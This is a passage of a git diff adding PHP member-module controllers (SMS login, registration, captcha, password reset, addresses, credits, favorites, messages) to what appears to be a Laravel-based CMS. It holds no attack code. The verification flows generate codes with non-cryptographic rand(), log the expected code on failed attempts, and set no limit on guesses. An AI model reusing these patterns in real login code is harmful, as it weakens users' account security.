$verifyCheck) { + Log::info('Member.LoginPhone.LoginVerifyError - ' . $verify . ' - ' . $verifyCheck); + return Response::generate(-1, '手机验证码不正确'); + } + if (Session::get('loginPhoneVerifyTime') + 60 * 60 < time()) { + return Response::generate(0, '手机验证码已过期'); + } + if ($phone != Session::get('loginPhone')) { + return Response::generate(-1, '两次手机不一致'); + } + $memberUser = MemberUtil::getByPhone($phone); + // 自动注册 + if (empty($memberUser) && modstart_config('Member_LoginPhoneAutoRegister', false)) { + foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + /** @var AbstractMemberRegisterProcessorProvider $provider */ + $ret = $provider->preCheck(); + if (Response::isError($ret)) { + return $ret; + } + } + $ret = MemberUtil::register(null, $phone, null, null, true); + if ($ret['code']) { + return Response::generate(-1, $ret['msg']); + } + $memberUserId = $ret['data']['id']; + MemberUtil::autoSetUsernameNickname($memberUserId, modstart_config('Member_LoginPhoneNameSuggest', '用户')); + $update = []; + $update['phoneVerified'] = true; + $update['registerIp'] = StrUtil::mbLimit(Request::ip(), 20); + if (!empty($update)) { + MemberUtil::update($memberUserId, $update); + } + EventUtil::fire(new MemberUserRegisteredEvent($memberUserId)); + Session::forget('registerCaptchaPass'); + foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + /** @var AbstractMemberRegisterProcessorProvider $provider */ + $provider->postProcess($memberUserId); + } + $memberUser = MemberUtil::get($memberUserId); + } + if (empty($memberUser)) { + return Response::generate(-1, '手机没有绑定任何账号'); + } + Session::forget('loginPhoneVerify'); + Session::forget('loginPhoneVerifyTime'); + Session::forget('loginPhone'); + Session::put('memberUserId', $memberUser['id']); + MemberUtil::fireLogin($memberUser['id']); + EventUtil::fire(new MemberUserLoginedEvent($memberUser['id'])); + return Response::generate(0, null); + } + + /** + * @return array + * @Api 短信验证登录-获取手机验证码 + * @ApiBodyParam target string 手机号 + * @ApiBodyParam captcha string 图片验证码 + */ + public function loginPhoneVerify() + { + if (!modstart_config('Member_LoginPhoneEnable', false)) { + return Response::generate(-1, '短信验证登录未开启'); + } + + $input = InputPackage::buildFromInput(); + $phone = $input->getPhone('target'); + if (empty($phone)) { + return Response::generate(-1, '手机为空或格式不正确'); + } + + $provider = SecurityUtil::loginCaptchaProvider(); + if ($provider) { + $ret = $provider->validate(); + if (Response::isError($ret)) { + return $ret; + } + } else { + $captcha = $input->getTrimString('captcha'); + if (!CaptchaFacade::check($captcha)) { + return Response::generate(-1, '图片验证码错误'); + } + } + + $memberUser = MemberUtil::getByPhone($phone); + if (empty($memberUser) && !modstart_config('Member_LoginPhoneAutoRegister', false)) { + return Response::generate(-1, '手机没有绑定任何账号'); + } + + if (Session::get('loginPhoneVerifyTime') && $phone == Session::get('loginPhone')) { + if (Session::get('loginPhoneVerifyTime') + 60 > time()) { + return Response::generate(-1, '验证码发送频繁,请稍后再试!'); + } + } + + $verify = rand(100000, 999999); + Session::put('loginPhoneVerify', $verify); + Session::put('loginPhoneVerifyTime', time()); + Session::put('loginPhone', $phone); + + SmsSendJob::create($phone, 'verify', ['code' => $verify]); + + return Response::generate(0, '验证码发送成功'); + } + + /** + * @return array + * + * @Api 短信验证登录-图片验证码 + * @ApiResponseData { + * "image":"图片Base64" + * } + */ + public function loginPhoneCaptcha() + { + $captcha = $this->loginCaptchaRaw(); + return Response::generate(0, 'ok', [ + 'image' => 'data:image/png;base64,' . base64_encode($captcha->getOriginalContent()), + ]); + } + + /** + * @return array + * + * @Api 登录-图片验证码 + * @ApiResponseData { + * "image":"图片Base64" + * } + */ + public function loginCaptcha() + { + $captcha = $this->loginCaptchaRaw(); + return Response::generate(0, 'ok', [ + 'image' => 'data:image/png;base64,' . base64_encode($captcha->getOriginalContent()), + ]); + } + + /** + * @Api 注册-短信验证注册 + * @ApiBodyParam phone string 手机号 + * @ApiBodyParam phoneVerify string 手机验证码 + * @ApiBodyParam agreement boolean 是否同意协议 + */ + public function registerPhone() + { + BizException::throwsIf('禁止注册', modstart_config('registerDisable', false)); + BizException::throwsIf('短信验证注册未开启', !modstart_config('Member_RegisterPhoneEnable', false)); + $input = InputPackage::buildFromInput(); + if (modstart_config('Member_AgreementEnable', false)) { + if (!$input->getBoolean('agreement')) { + return Response::generateError('请先同意 ' . modstart_config('Member_AgreementTitle', '用户使用协议')); + } + } + $phone = $input->getPhone('phone'); + $phoneVerify = $input->getTrimString('phoneVerify'); + $password = null; + $ignorePassword = true; + if (modstart_config('Member_RegisterPhonePasswordEnable', false)) { + $password = $input->getTrimString('password'); + BizException::throwsIfEmpty('请输入密码', $password); + BizException::throwsIfResponseError(MemberUtil::passwordStrengthCheck($password)); + $ignorePassword = false; + } + + if (empty($phone)) { + return Response::generate(-1, '请输入手机'); + } + $phoneVerifyCheck = Session::get('registerPhoneVerify'); + if ($phoneVerify != $phoneVerifyCheck) { + Log::info('Member.RegisterPhone.PhoneVerifyError - ' . $phoneVerify . ' - ' . $phoneVerifyCheck); + return Response::generate(-1, '手机验证码不正确.'); + } + if (Session::get('registerPhoneVerifyTime') + 60 * 60 < time()) { + return Response::generate(-1, '手机验证码已过期'); + } + if ($phone != Session::get('registerPhone')) { + return Response::generate(-1, '两次手机不一致'); + } + + foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + /** @var AbstractMemberRegisterProcessorProvider $provider */ + $ret = $provider->preCheck(); + if (Response::isError($ret)) { + return $ret; + } + } + + $ret = MemberUtil::register(null, $phone, null, $password, $ignorePassword); + if ($ret['code']) { + return Response::generate(-1, $ret['msg']); + } + $memberUserId = $ret['data']['id']; + MemberUtil::autoSetUsernameNickname($memberUserId, modstart_config('Member_LoginPhoneNameSuggest', '用户')); + $update = []; + $update['phoneVerified'] = true; + $update['registerIp'] = StrUtil::mbLimit(Request::ip(), 20); + if (!empty($update)) { + MemberUtil::update($memberUserId, $update); + } + EventUtil::fire(new MemberUserRegisteredEvent($memberUserId)); + Session::forget('registerCaptchaPass'); + foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + /** @var AbstractMemberRegisterProcessorProvider $provider */ + $provider->postProcess($memberUserId); + } + Session::put('memberUserId', $memberUserId); + MemberUtil::fireLogin($memberUserId); + EventUtil::fire(new MemberUserLoginedEvent($memberUserId)); + return Response::generate(0, '注册成功', [ + 'id' => $memberUserId, + ]); + } + + /** + * @Api 注册-用户注册 + * @ApiBodyParam username string 用户名 + * @ApiBodyParam password string 密码 + * @ApiBodyParam passwordRepeat string 重复密码 + * @ApiBodyParam phone string 手机号(如果开启手机注册需要传递) + * @ApiBodyParam phoneVerify string 手机验证码(如果开启手机注册需要传递) + * @ApiBodyParam email string 邮箱(如果开启邮箱注册需要传递) + * @ApiBodyParam emailVerify string 邮箱验证码(如果开启邮箱注册需要传递) + * @ApiBodyParam captcha string 验证码 + * @ApiBodyParam agreement boolean 是否同意协议 + */ + public function register() + { + if (modstart_config('registerDisable', false)) { + return Response::generate(-1, '禁止注册'); + } + + $input = InputPackage::buildFromInput(); + + if (modstart_config('Member_AgreementEnable', false)) { + if (!$input->getBoolean('agreement')) { + return Response::generateError('请先同意 ' . modstart_config('Member_AgreementTitle', '用户使用协议')); + } + } + + $username = $input->getTrimString('username'); + $phone = $input->getPhone('phone'); + $phoneVerify = $input->getTrimString('phoneVerify'); + $email = $input->getEmail('email'); + $emailVerify = $input->getTrimString('emailVerify'); + $password = $input->getTrimString('password'); + $passwordRepeat = $input->getTrimString('passwordRepeat'); + $captcha = $input->getTrimString('captcha'); + + if (empty($username)) { + return Response::generate(-1, '用户名不能为空'); + } + /** 为了兼容统一登录,禁止使用手机号格式和邮箱格式 */ + if (Str::contains($username, '@')) { + return Response::generate(-1, '用户名不能包含特殊字符'); + } + if (preg_match('/^\\d{11}$/', $username)) { + return Response::generate(-1, '用户名不能为纯数字'); + } + + if (!Session::get('registerCaptchaPass', false)) { + if (!CaptchaFacade::check($captcha)) { + SessionUtil::atomicProduce('registerCaptchaPassCount', 1); + return Response::generate(-1, '请重新进行安全验证'); + } + } + if (!SessionUtil::atomicConsume('registerCaptchaPassCount')) { + return Response::generate(-1, '请进行安全验证'); + } + + if (modstart_config('registerPhoneEnable')) { + if (empty($phone)) { + return Response::generate(-1, '请输入手机'); + } + $phoneVerifyCheck = Session::get('registerPhoneVerify'); + if ($phoneVerify != $phoneVerifyCheck) { + Log::info('Member.Register.PhoneVerifyError - ' . $phoneVerify . ' - ' . $phoneVerifyCheck); + return Response::generate(-1, '手机验证码不正确.'); + } + if (Session::get('registerPhoneVerifyTime') + 60 * 60 < time()) { + return Response::generate(-1, '手机验证码已过期'); + } + if ($phone != Session::get('registerPhone')) { + return Response::generate(-1, '两次手机不一致'); + } + } + if (modstart_config('registerEmailEnable')) { + if (empty($email)) { + return Response::generate(-1, '请输入邮箱'); + } + $emailVerifyCheck = Session::get('registerEmailVerify'); + if ($emailVerify != $emailVerifyCheck) { + Log::info('Member.Register.EmailVerifyError - ' . $emailVerify . ' - ' . $emailVerifyCheck); + return Response::generate(-1, '邮箱验证码不正确.'); + } + if (Session::get('registerEmailVerifyTime') + 60 * 60 < time()) { + return Response::generate(-1, '邮箱验证码已过期'); + } + if ($email != Session::get('registerEmail')) { + return Response::generate(-1, '两次邮箱不一致'); + } + } + if (empty($password)) { + return Response::generate(-1, '请输入密码'); + } + if ($password != $passwordRepeat) { + return Response::generate(-1, '两次输入密码不一致'); + } + BizException::throwsIfResponseError(MemberUtil::passwordStrengthCheck($password)); + + foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + /** @var AbstractMemberRegisterProcessorProvider $provider */ + $ret = $provider->preCheck(); + if (Response::isError($ret)) { + return $ret; + } + } + + $ret = MemberUtil::register($username, $phone, $email, $password); + if ($ret['code']) { + return Response::generate(-1, $ret['msg']); + } + $memberUserId = $ret['data']['id']; + $update = []; + if (modstart_config('registerPhoneEnable')) { + $update['phoneVerified'] = true; + } + if (modstart_config('registerEmailEnable')) { + $update['emailVerified'] = true; + } + $update['registerIp'] = StrUtil::mbLimit(Request::ip(), 20); + if (!empty($update)) { + MemberUtil::update($memberUserId, $update); + } + EventUtil::fire(new MemberUserRegisteredEvent($memberUserId)); + Session::forget('registerCaptchaPass'); + foreach (MemberRegisterProcessorProvider::listAll() as $provider) { + /** @var AbstractMemberRegisterProcessorProvider $provider */ + $provider->postProcess($memberUserId); + } + return Response::generate(0, '注册成功', [ + 'id' => $memberUserId, + ]); + } + + /** + * @return array + * @Api 注册-获取注册邮箱验证码 + * @ApiBodyParam target string 邮箱地址 + */ + public function registerEmailVerify() + { + if (modstart_config('registerDisable', false)) { + return Response::generate(-1, '禁止注册'); + } + if (!modstart_config('registerEmailEnable')) { + return Response::generate(-1, '注册未开启邮箱'); + } + $input = InputPackage::buildFromInput(); + + $email = $input->getEmail('target'); + if (empty($email)) { + return Response::generate(-1, '邮箱不能为空'); + } + + if (!Session::get('registerCaptchaPass', false)) { + return Response::generate(-1, '请先进行安全验证'); + } + if (!SessionUtil::atomicConsume('registerCaptchaPassCount')) { + return Response::generate(-1, '请进行安全验证'); + } + + $memberUser = MemberUtil::getByEmail($email); + if (!empty($memberUser)) { + return Response::generate(-1, '邮箱已经被占用'); + } + + if (Session::get('registerEmailVerifyTime') && $email == Session::get('registerEmail')) { + if (Session::get('registerEmailVerifyTime') + 60 > time()) { + return Response::generate(-1, '验证码发送频繁,请稍后再试!'); + } + } + + $verify = rand(100000, 999999); + + MailSendJob::create($email, '注册账户验证码', 'verify', ['code' => $verify]); + + Session::put('registerEmailVerify', $verify); + Session::put('registerEmailVerifyTime', time()); + Session::put('registerEmail', $email); + + return Response::generate(0, '验证码发送成功'); + } + + + /** + * @return array + * @Api 注册-获取注册手机验证码 + * @ApiBodyParam target string 手机号 + */ + public function registerPhoneVerify() + { + if (modstart_config('registerDisable', false)) { + return Response::generate(-1, '禁止注册'); + } + if (!modstart_config('registerPhoneEnable')) { + return Response::generate(-1, '注册未开启手机'); + } + $input = InputPackage::buildFromInput(); + + $phone = $input->getPhone('target'); + if (empty($phone)) { + return Response::generate(-1, '手机不能为空'); + } + + if (!Session::get('registerCaptchaPass', false)) { + return Response::generate(-1, '请先进行安全验证'); + } + if (!SessionUtil::atomicConsume('registerCaptchaPassCount')) { + return Response::generate(-1, '请进行安全验证'); + } + + $memberUser = MemberUtil::getByPhone($phone); + if (!empty($memberUser)) { + return Response::generate(-1, '手机已经被占用'); + } + + if (Session::get('registerPhoneVerifyTime') && $phone == Session::get('registerPhone')) { + if (Session::get('registerPhoneVerifyTime') + 60 > time()) { + return Response::generate(0, '验证码发送成功!'); + } + } + + $verify = rand(100000, 999999); + + SmsSendJob::create($phone, 'verify', ['code' => $verify]); + + Session::put('registerPhoneVerify', $verify); + Session::put('registerPhoneVerifyTime', time()); + Session::put('registerPhone', $phone); + + return Response::generate(0, '验证码发送成功'); + } + + /** + * @return array + * + * @Api 注册-图片验证码验证 + * @ApiBodyParam captcha string 图片验证码 + */ + public function registerCaptchaVerify() + { + $provider = SecurityUtil::registerCaptchaProvider(); + if ($provider) { + $ret = $provider->validate(); + if (Response::isError($ret)) { + return $ret; + } + } else { + $input = InputPackage::buildFromInput(); + $captcha = $input->getTrimString('captcha'); + if (!CaptchaFacade::check($captcha)) { + SessionUtil::atomicRemove('registerCaptchaPassCount'); + return Response::generate(ResponseCodes::CAPTCHA_ERROR, '验证码错误'); + } + } + Session::put('registerCaptchaPass', true); + $registerCaptchaPassCount = 1; + if (modstart_config('registerEmailEnable')) { + $registerCaptchaPassCount++; + } + if (modstart_config('registerPhoneEnable')) { + $registerCaptchaPassCount++; + } + SessionUtil::atomicProduce('registerCaptchaPassCount', $registerCaptchaPassCount); + return Response::generateSuccess(); + } + + public function oauthBindCaptchaVerify() + { + $input = InputPackage::buildFromInput(); + $captcha = $input->getTrimString('captcha'); + if (!CaptchaFacade::check($captcha)) { + SessionUtil::atomicRemove('oauthBindCaptchaPassCount'); + return Response::generate(ResponseCodes::CAPTCHA_ERROR, '验证码错误'); + } + Session::put('oauthBindCaptchaPass', true); + $passCount = 1; + if (modstart_config('Member_OauthBindPhoneEnable')) { + $passCount++; + } + if (modstart_config('Member_OauthBindEmailEnable')) { + $passCount++; + } + SessionUtil::atomicProduce('oauthBindCaptchaPassCount', $passCount); + return Response::generateSuccess(); + } + + public function oauthBindCaptchaRaw() + { + return CaptchaFacade::create('default'); + } + + public function oauthBindCaptcha() + { + Session::forget('oauthBindCaptchaPass'); + $captcha = $this->oauthBindCaptchaRaw(); + return Response::generate(0, 'ok', [ + 'image' => 'data:image/png;base64,' . base64_encode($captcha->getOriginalContent()), + ]); + } + + /** + * @return array + * @Api 授权登录-获取注册邮箱验证码 + * @ApiBodyParam target string 邮箱地址 + */ + public function oauthBindEmailVerify() + { + if (!modstart_config('Member_OauthBindEmailEnable')) { + return Response::generate(-1, '授权登录未开启邮箱'); + } + $input = InputPackage::buildFromInput(); + + $email = $input->getEmail('target'); + if (empty($email)) { + return Response::generate(-1, '邮箱不能为空'); + } + + if (!Session::get('oauthBindCaptchaPass', false)) { + return Response::generate(-1, '请先进行安全验证'); + } + if (!SessionUtil::atomicConsume('oauthBindCaptchaPassCount')) { + return Response::generate(-1, '请进行安全验证'); + } + + $memberUser = MemberUtil::getByEmail($email); + if (!empty($memberUser)) { + return Response::generate(-1, '邮箱已经被占用'); + } + + if (Session::get('oauthBindEmailVerifyTime') && $email == Session::get('oauthBindEmail')) { + if (Session::get('oauthBindEmailVerifyTime') + 60 > time()) { + return Response::generate(-1, '验证码发送频繁,请稍后再试!'); + } + } + + $verify = rand(100000, 999999); + + MailSendJob::create($email, '注册账户验证码', 'verify', ['code' => $verify]); + + Session::put('oauthBindEmailVerify', $verify); + Session::put('oauthBindEmailVerifyTime', time()); + Session::put('oauthBindEmail', $email); + + return Response::generate(0, '验证码发送成功'); + } + + + /** + * @return array + * @Api 授权登录-获取注册手机验证码 + * @ApiBodyParam target string 手机号 + */ + public function oauthBindPhoneVerify() + { + if (!modstart_config('Member_OauthBindPhoneEnable')) { + return Response::generate(-1, '注册未开启手机'); + } + $input = InputPackage::buildFromInput(); + + $phone = $input->getPhone('target'); + if (empty($phone)) { + return Response::generate(-1, '手机不能为空'); + } + + if (!Session::get('oauthBindCaptchaPass', false)) { + return Response::generate(-1, '请先进行安全验证'); + } + if (!SessionUtil::atomicConsume('oauthBindCaptchaPassCount')) { + return Response::generate(-1, '请进行安全验证'); + } + + $memberUser = MemberUtil::getByPhone($phone); + if (!empty($memberUser)) { + return Response::generate(-1, '手机已经被占用'); + } + + if (Session::get('oauthBindPhoneVerifyTime') && $phone == Session::get('oauthBindPhone')) { + if (Session::get('oauthBindPhoneVerifyTime') + 60 > time()) { + return Response::generate(0, '验证码发送成功!'); + } + } + + $verify = rand(100000, 999999); + + SmsSendJob::create($phone, 'verify', ['code' => $verify]); + + Session::put('oauthBindPhoneVerify', $verify); + Session::put('oauthBindPhoneVerifyTime', time()); + Session::put('oauthBindPhone', $phone); + + return Response::generate(0, '验证码发送成功'); + } + + public function registerCaptchaRaw() + { + return CaptchaFacade::create('default'); + } + + + /** + * @return array + * + * @Api 注册-获取注册验证码图片 + * @ApiResponseData { + * "image":"图片Base64" + * } + */ + public function registerCaptcha() + { + Session::forget('registerCaptchaPass'); + $captcha = $this->registerCaptchaRaw(); + return Response::generate(0, 'ok', [ + 'image' => 'data:image/png;base64,' . base64_encode($captcha->getOriginalContent()), + ]); + } + + /** + * @return array + * + * @Api 找回密码-根据手机号找回 + * @ApiBodyParam phone string 手机号 + * @ApiBodyParam verify string 手机验证码 + */ + public function retrievePhone() + { + if (modstart_config('retrieveDisable', false)) { + return Response::generate(-1, '找回密码已禁用'); + } + $input = InputPackage::buildFromInput(); + if (!modstart_config('retrievePhoneEnable', false)) { + return Response::generate(-1, '找回密码没有开启'); + } + $phone = $input->getPhone('phone'); + $verify = $input->getTrimString('verify'); + if (empty($phone)) { + return Response::generate(-1, '手机为空或不正确'); + } + if (empty($verify)) { + return Response::generate(-1, '验证码不能为空'); + } + $verifyCheck = Session::get('retrievePhoneVerify'); + if ($verify != $verifyCheck) { + Log::info('Member.RetrievePhone.PhoneVerifyError - ' . $verify . ' - ' . $verifyCheck); + return Response::generate(-1, '手机验证码不正确'); + } + if (Session::get('retrievePhoneVerifyTime') + 60 * 60 < time()) { + return Response::generate(0, '手机验证码已过期'); + } + if ($phone != Session::get('retrievePhone')) { + return Response::generate(-1, '两次手机不一致'); + } + $memberUser = MemberUtil::getByPhone($phone); + if (empty($memberUser)) { + return Response::generate(-1, '手机没有绑定任何账号'); + } + Session::forget('retrievePhoneVerify'); + Session::forget('retrievePhoneVerifyTime'); + Session::forget('retrievePhone'); + Session::put('retrieveMemberUserId', $memberUser['id']); + return Response::generate(0, null); + } + + /** + * @return array + * + * @Api 找回密码-发送手机验证码 + * @ApiBodyParam target string 手机号 + * @ApiBodyParam captcha string 图片验证码 + */ + public function retrievePhoneVerify() + { + if (modstart_config('retrieveDisable', false)) { + return Response::generate(-1, '找回密码已禁用'); + } + + $input = InputPackage::buildFromInput(); + $phone = $input->getPhone('target'); + if (empty($phone)) { + return Response::generate(-1, '手机为空或格式不正确'); + } + + $captcha = $input->getTrimString('captcha'); + if (!CaptchaFacade::check($captcha)) { + return Response::generate(-1, '图片验证码错误'); + } + + $memberUser = MemberUtil::getByPhone($phone); + if (empty($memberUser)) { + return Response::generate(-1, '手机没有绑定任何账号'); + } + + if (Session::get('retrievePhoneVerifyTime') && $phone == Session::get('retrievePhone')) { + if (Session::get('retrievePhoneVerifyTime') + 60 * 2 > time()) { + return Response::generate(0, '验证码发送成功!'); + } + } + + $verify = rand(100000, 999999); + Session::put('retrievePhoneVerify', $verify); + Session::put('retrievePhoneVerifyTime', time()); + Session::put('retrievePhone', $phone); + + SmsSendJob::create($phone, 'verify', ['code' => $verify]); + + return Response::generate(0, '验证码发送成功'); + } + + /** + * @return array + * + * @Api 找回密码-根据邮箱找回 + * @ApiBodyParam email string 邮箱 + * @ApiBodyParam verify string 邮箱验证码 + */ + public function retrieveEmail() + { + if (modstart_config('retrieveDisable', false)) { + return Response::generate(-1, '找回密码已禁用'); + } + + if (!modstart_config('retrieveEmailEnable', false)) { + return Response::generate(-1, '找回密码没有开启'); + } + + $input = InputPackage::buildFromInput(); + + $email = $input->getEmail('email'); + $verify = $input->getTrimString('verify'); + + if (empty($email)) { + return Response::generate(-1, '邮箱为空或格式不正确'); + } + if (empty($verify)) { + return Response::generate(-1, '验证码不能为空'); + } + $verifyCheck = Session::get('retrieveEmailVerify'); + if ($verify != $verifyCheck) { + Log::info('Member.RetrieveEmail.PhoneVerifyError - ' . $verify . '- ' . $verifyCheck); + return Response::generate(-1, '邮箱验证码不正确'); + } + if (Session::get('retrieveEmailVerifyTime') + 60 * 60 < time()) { + return Response::generate(0, '邮箱验证码已过期'); + } + if ($email != Session::get('retrieveEmail')) { + return Response::generate(-1, '两次邮箱不一致'); + } + + $memberUser = MemberUtil::getByEmail($email); + if (empty($memberUser)) { + return Response::generate(-1, '邮箱没有绑定任何账号'); + } + + Session::forget('retrieveEmailVerify'); + Session::forget('retrieveEmailVerifyTime'); + Session::forget('retrieveEmail'); + + Session::put('retrieveMemberUserId', $memberUser['id']); + + return Response::generate(0, null); + } + + /** + * @return array + * + * @Api 找回密码-发送邮箱验证码 + * @ApiBodyParam target string 邮箱地址 + * @ApiBodyParam captcha string 图片验证码 + */ + public function retrieveEmailVerify() + { + if (modstart_config('retrieveDisable', false)) { + return Response::generate(-1, '找回密码已禁用'); + } + + $input = InputPackage::buildFromInput(); + + $email = $input->getEmail('target'); + if (empty($email)) { + return Response::generate(-1, '邮箱格式不正确或为空'); + } + + $captcha = $input->getTrimString('captcha'); + if (!CaptchaFacade::check($captcha)) { + return Response::generate(-1, '图片验证码错误'); + } + + $memberUser = MemberUtil::getByEmail($email); + if (empty($memberUser)) { + return Response::generate(-1, '邮箱没有绑定任何账号'); + } + + if (Session::get('retrieveEmailVerifyTime') && $email == Session::get('retrieveEmail')) { + if (Session::get('retrieveEmailVerifyTime') + 60 > time()) { + return Response::generate(0, '验证码发送成功!'); + } + } + + $verify = rand(100000, 999999); + + MailSendJob::create($email, '找回密码验证码', 'verify', ['code' => $verify]); + + Session::put('retrieveEmailVerify', $verify); + Session::put('retrieveEmailVerifyTime', time()); + Session::put('retrieveEmail', $email); + + return Response::generate(0, '验证码发送成功'); + } + + /** + * @return array + * + * @Api 找回密码-获取已验证账户信息 + * @ApiResponseData { + * "memberUser":{ + * "username": "用户名" + * } + * } + */ + public function retrieveResetInfo() + { + $retrieveMemberUserId = Session::get('retrieveMemberUserId'); + if (empty($retrieveMemberUserId)) { + return Response::generate(-1, '请求错误'); + } + $memberUser = MemberUtil::get($retrieveMemberUserId); + $username = $memberUser['username']; + if (empty($username)) { + $username = $memberUser['phone']; + } + if (empty($username)) { + $username = $memberUser['email']; + } + return Response::generate(0, null, [ + 'memberUser' => [ + 'username' => $username, + ] + ]); + } + + /** + * @return array + * + * @Api 找回密码-重置密码 + * @ApiBodyParam password string 新密码 + * @ApiBodyParam passwordRepeat string 重复新密码 + */ + public function retrieveReset() + { + if (modstart_config('retrieveDisable', false)) { + return Response::generate(-1, '找回密码已禁用'); + } + + $input = InputPackage::buildFromInput(); + $retrieveMemberUserId = Session::get('retrieveMemberUserId'); + if (empty($retrieveMemberUserId)) { + return Response::generate(-1, '请求错误'); + } + $password = $input->getTrimString('password'); + $passwordRepeat = $input->getTrimString('passwordRepeat'); + if (empty($password)) { + return Response::generate(-1, '请输入密码'); + } + if ($password != $passwordRepeat) { + return Response::generate(-1, '两次输入密码不一致'); + } + BizException::throwsIfResponseError(MemberUtil::passwordStrengthCheck($password)); + $memberUser = MemberUtil::get($retrieveMemberUserId); + if (empty($memberUser)) { + return Response::generate(-1, '用户不存在'); + } + $ret = MemberUtil::changePassword($memberUser['id'], $password, null, true); + if ($ret['code']) { + return Response::generate(-1, $ret['msg']); + } + EventUtil::fire(new MemberUserPasswordResetedEvent($memberUser['id'], $password)); + Session::forget('retrieveMemberUserId'); + return Response::generate(0, '成功设置新密码,请您登录'); + } + + public function retrieveCaptchaRaw() + { + return CaptchaFacade::create('default'); + } + + /** + * @return array + * + * @Api 找回密码-图片验证码 + * @ApiResponseData { + * "image":"验证码图片Base64" + * } + */ + public function retrieveCaptcha() + { + $captcha = $this->retrieveCaptchaRaw(); + return Response::generate(0, 'ok', [ + 'image' => 'data:image/png;base64,' . base64_encode($captcha->getOriginalContent()), + ]); + } +} diff --git a/module/Member/Api/Controller/MemberAddressController.php b/module/Member/Api/Controller/MemberAddressController.php new file mode 100644 index 00000000..12402a06 --- /dev/null +++ b/module/Member/Api/Controller/MemberAddressController.php @@ -0,0 +1,68 @@ +getInteger('id'); + $address = null; + if ($id) { + $address = MemberAddressUtil::getUserAddress(MemberUser::id(), $id); + BizException::throwsIfEmpty('地址不存在', $address); + } + $data = []; + $data['name'] = $input->getTrimString('name'); + $data['phone'] = $input->getTrimString('phone'); + $data['area'] = $input->getTrimString('area'); + $data['detail'] = $input->getTrimString('detail'); + $data['isDefault'] = $input->getBoolean('isDefault'); + BizException::throwsIfEmpty('姓名为空', $data['name']); + BizException::throwsIfEmpty('手机为空', $data['phone']); + BizException::throwsIfEmpty('地址为空', $data['area']); + BizException::throwsIfEmpty('详细地址为空', $data['detail']); + if ($data['isDefault']) { + MemberAddressUtil::resetDefault(MemberUser::id()); + } + if ($address) { + MemberAddressUtil::update($address['id'], $data); + } else { + $data['memberUserId'] = MemberUser::id(); + MemberAddressUtil::insert($data); + } + return Response::generateSuccess(); + } + + public function delete() + { + $input = InputPackage::buildFromInput(); + $id = $input->getInteger('id'); + $address = MemberAddressUtil::getUserAddress(MemberUser::id(), $id); + BizException::throwsIfEmpty('地址不存在', $address); + MemberAddressUtil::delete($address['id']); + return Response::generateSuccess(); + } +} diff --git a/module/Member/Api/Controller/MemberController.php b/module/Member/Api/Controller/MemberController.php new file mode 100644 index 00000000..19c02f69 --- /dev/null +++ b/module/Member/Api/Controller/MemberController.php @@ -0,0 +1,24 @@ + $credit ? $credit['total'] : 0, + 'freezeTotal' => $credit ? $credit['freezeTotal'] : 0, + ]); + } + + + public function log() + { + $input = InputPackage::buildFromInput(); + $option = []; + $searchInput = $input->getJsonAsInput('search'); + $type = $searchInput->getTrimString('type'); + switch ($type) { + case 'income': + $option['whereOperate'] = ['change', '>', '0']; + break; + case 'payout': + $option['whereOperate'] = ['change', '<', '0']; + break; + } + $paginateData = MemberCreditUtil::paginateLog( + MemberUser::id(), + $input->getPage(), + $input->getPageSize(), + $option + ); + return Response::generateSuccessPaginate( + $input->getPage(), + $input->getPageSize(), + $paginateData + ); + } +} diff --git a/module/Member/Api/Controller/MemberDataController.php b/module/Member/Api/Controller/MemberDataController.php new file mode 100644 index 00000000..1443e6e8 --- /dev/null +++ b/module/Member/Api/Controller/MemberDataController.php @@ -0,0 +1,47 @@ + [ + 'param' => [ + 'userType' => 'member', + 'userId' => MemberUser::id(), + ] + ] + ] + ); + } +} diff --git a/module/Member/Api/Controller/MemberDocController.php b/module/Member/Api/Controller/MemberDocController.php new file mode 100644 index 00000000..6655c220 --- /dev/null +++ b/module/Member/Api/Controller/MemberDocController.php @@ -0,0 +1,24 @@ +getTrimString('type'); + BizException::throwsIf('类型错误', !in_array($type, ['agreement', 'privacy'])); + return Response::generateSuccessData([ + 'title' => modstart_config('Member_' . ucfirst($type) . 'Title'), + 'content' => modstart_config('Member_' . ucfirst($type) . 'Content'), + ]); + } +} diff --git a/module/Member/Api/Controller/MemberFavoriteController.php b/module/Member/Api/Controller/MemberFavoriteController.php new file mode 100644 index 00000000..e531d260 --- /dev/null +++ b/module/Member/Api/Controller/MemberFavoriteController.php @@ -0,0 +1,70 @@ +getTrimString('category'); + $categoryId = $input->getTrimString('categoryId'); + BizException::throwsIfEmpty('category为空', $category); + BizException::throwsIfEmpty('categoryId为空', $categoryId); + if (MemberFavoriteUtil::exists(MemberUser::id(), $category, $categoryId)) { + return Response::generateError('已经收藏'); + } + MemberFavoriteUtil::add(MemberUser::id(), $category, $categoryId); + if ($redirect = $input->getTrimString('redirect')) { + return Response::generate(0, null, null, $redirect); + } + return Response::generateSuccess(); + } + + /** + * @return array + * @throws BizException + * @Api 取消收藏 + * @ApiBodyParam category string 类别 + * @ApiBodyParam categoryId int 类别ID + */ + public function unfavorite() + { + $input = InputPackage::buildFromInput(); + $category = $input->getTrimString('category'); + $categoryId = $input->getTrimString('categoryId'); + BizException::throwsIfEmpty('category为空', $category); + BizException::throwsIfEmpty('categoryId为空', $categoryId); + if (!MemberFavoriteUtil::exists(MemberUser::id(), $category, $categoryId)) { + return Response::generateError('未收藏'); + } + MemberFavoriteUtil::delete(MemberUser::id(), $category, $categoryId); + if ($redirect = $input->getTrimString('redirect')) { + return Response::generate(0, null, null, $redirect); + } + return Response::generateSuccess(); + } + +} diff --git a/module/Member/Api/Controller/MemberMessageController.php b/module/Member/Api/Controller/MemberMessageController.php new file mode 100644 index 00000000..6346990d --- /dev/null +++ b/module/Member/Api/Controller/MemberMessageController.php @@ -0,0 +1,60 @@ +getInteger('page'); + $pageSize = 10; + $option = [ + 'search' => [], + 'order' => ['id', 'desc'], + ]; + $search = $input->getJson('search'); + if (!empty($search['status'])) { + $option['search'][] = ['status' => ['equal' => intval($search['status'])]]; + } + $paginateData = MemberMessageUtil::paginate(MemberUser::id(), $page, $pageSize, $option); + return Response::generateSuccessPaginateData($page, $pageSize, $paginateData['records'], $paginateData['total']); + } + + public function delete() + { + MemberMessageUtil::delete(MemberUser::id(), CRUDUtil::ids()); + return Response::generateSuccessData([ + 'unreadMessageCount' => 